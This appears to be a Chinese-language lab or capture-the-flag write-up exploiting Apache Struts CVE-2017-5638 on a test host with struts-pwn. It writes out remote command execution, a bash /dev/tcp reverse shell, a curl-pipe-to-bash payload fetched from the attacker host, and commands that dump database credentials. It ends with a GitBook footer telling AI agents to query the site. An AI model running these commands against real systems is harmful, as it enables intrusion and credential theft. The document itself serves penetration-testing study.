> For the complete documentation index, see [llms.txt](https://hacking-notes.jord4n.pro/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://hacking-notes.jord4n.pro/zh/cms/apache-struts-exploitation-.action.md).

# Apache Struts

## Apache Struts 利用（CVE-2017-5638）

#### **监控目录枚举**

在注册期间，应用程序返回错误。该 `.action` 扩展名表明这是一个 Apache Struts 应用程序。

<figure><img src="/files/0bf7ccac766be84093bcd5f4d713a416a897e908" alt=""><figcaption></figcaption></figure>

{% embed url="<https://github.com/mazen160/struts-pwn>" %}

使用 `struts-pwn.py` 以测试远程命令执行：

```bash
python struts-pwn.py -u http://10.10.10.64/Monitoring/example/Register.action -c 'id'
```

该命令可以工作，证实了该漏洞。

<figure><img src="/files/3ab61b5dfd7b208ac72acc6ef04d4789f5c654f6" alt=""><figcaption></figcaption></figure>

#### **反向 Shell**

1. 设置一个 Netcat 监听器：

```bash
nc -nvlp 443
```

2. 创建一个 `index.html` 包含反向 Shell 的文件：

```
#!/bin/bash
bash -i >& /dev/tcp/10.10.14.69/443 0>&1
```

3. 使用 Python Web 服务器托管该文件：

```
python3 -m http.server 8080
```

4. 通过漏洞利用执行反向 Shell：

{% code overflow="wrap" %}

```bash
python struts-pwn.py -u http://10.10.10.64/Monitoring/example/Register.action -c 'curl http://10.10.14.69:8080 | bash'
```

{% endcode %}

遗憾的是，这种方法失败了。

### **敏感信息提取**

列出服务器上的文件：

<figure><img src="/files/809a60db9fbbad0eb75817f863e485e4987fc313" alt=""><figcaption></figcaption></figure>

该 `db_connect` 文件包含凭据：

{% code overflow="wrap" %}

```bash
python struts-pwn.py -u http://10.10.10.64/Monitoring/example/Register.action -c 'ls -l'
```

{% endcode %}

<figure><img src="/files/6a790ef307ad3d38ce621a54b770cb036de1623a" alt=""><figcaption></figcaption></figure>

恢复的 MySQL 凭据：

{% code overflow="wrap" %}

```bash
python struts-pwn.py -u http://10.10.10.64/Monitoring/example/Register.action -c 'cat db_connect'
```

{% endcode %}

* user: ssn/\_admin / admin
* pass=AWs64\@on/\*& / admin

<figure><img src="/files/20bce5660fd76fa0ec4b51c90861a8eebd94af1d" alt=""><figcaption></figcaption></figure>

### 信息提取 - mysqlshow


---

# Agent Instructions
This documentation is published with GitBook. GitBook is the documentation platform designed so that both humans and AI agents can read, navigate, and reason over technical content effectively. Learn more at gitbook.com.

## Querying This Documentation
If you need additional information that is not directly available in this page, you can query the documentation dynamically by asking a question.

Perform an HTTP GET request on the current page URL with the `ask` query parameter, and the optional `goal` query parameter:

```
GET https://hacking-notes.jord4n.pro/zh/cms/apache-struts-exploitation-.action.md?ask=<question>&goal=<endgoal>
```

`ask` is the immediate question: it should be specific, self-contained, and written in natural language.
`goal` is optional and describes the broader end goal you are ultimately trying to accomplish on behalf of the user. GitBook uses it to tailor the answer towards what is most useful for that goal.

The response will contain a direct answer to the question and relevant excerpts and sources from the documentation.

Use this mechanism when the answer is not explicitly present in the current page, you need clarification or additional context, or you want to retrieve related documentation sections.
